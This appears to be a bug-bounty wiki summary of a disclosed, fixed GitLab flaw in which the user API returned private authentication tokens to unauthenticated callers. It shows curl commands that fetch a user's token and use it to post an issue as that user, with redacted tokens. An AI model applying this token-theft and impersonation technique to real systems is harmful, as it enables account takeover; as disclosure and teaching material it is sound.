all private tokens are leaked to an unauthenticated attacker
The GitLab API exposed users' private authentication tokens to unauthenticated requests. An attacker could retrieve any user's token and use it to impersonate that user and perform actions on their behalf.
- Triaged in under an hour
- Fixed in 5 days
- Disclosed after 6 days
Using the api, one can obtain the authentication token for any user on gitlab:
$ curl -s --request GET https://gitlab.com/api/v4/users/951422 | jq '.authentication_token'
"[redacted]"
We can then use this token to impersonate any user to perform any action they can perform:
$ curl --request POST --header "PRIVATE-TOKEN: [redacted]" https://gitlab.com/api/v4/projects/3831210/issues?title=owned
{"id":6843690,"iid":4,"project_id":3831210,"title":"owned","description":"","state":"opened","created_at":"2017-09-15T21:58:06.342Z","updated_at":"2017-09-15T21:58:06.342Z","labels":[],"milestone":null,"assignees":[],"author":{"id":951422,"name":"Andrew Drake","username":"adrake","state":"active","avatar_url":"https://secure.gravatar.com/avatar/5cd00179addefbca6d635845534a1ee6?s=80&d=identicon","web_url":"https://gitlab.com/adrake"},"assignee":null,"user_notes_count":0,"upvotes":0,"downvotes":0,"due_date":null,"confidential":false,"weight":null,"web_url":"https://gitlab.com/karmiclabs/slabricator/issues/4","time_stats":{"time_estimate":0,"total_time_spent":0,"human_time_estimate":null,"human_total_time_spent":null},"_links":{"self":"http://gitlab.com/api/v4/projects/3831210/issues/4","notes":"http://gitlab.com/api/v4/projects/3831210/issues/4/notes","award_emoji":"http://gitlab.com/api/v4/projects/3831210/issues/4/award_emoji","project":"http://gitlab.com/api/v4/projects/3831210"},"subscribed":true}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the API endpoint for retrieving user details included the private authentication token in its response without checking that the requester was authorised to see it.
Impact
An unauthenticated attacker could impersonate any user and perform any action that user is allowed to do.
What the attacker needed
No authentication required; knowledge of a user ID
How it was found
- Send a GET request to the user API endpoint for a specific user ID.
- Extract the authentication_token field from the JSON response.
- Use the token in a PRIVATE-TOKEN header to make authenticated requests as that user.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An authentication token is like a password that a program uses to prove who it is. The API was giving out these secret tokens to anyone who asked, without requiring a login. That meant an attacker could take someone else's token and act as that person.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.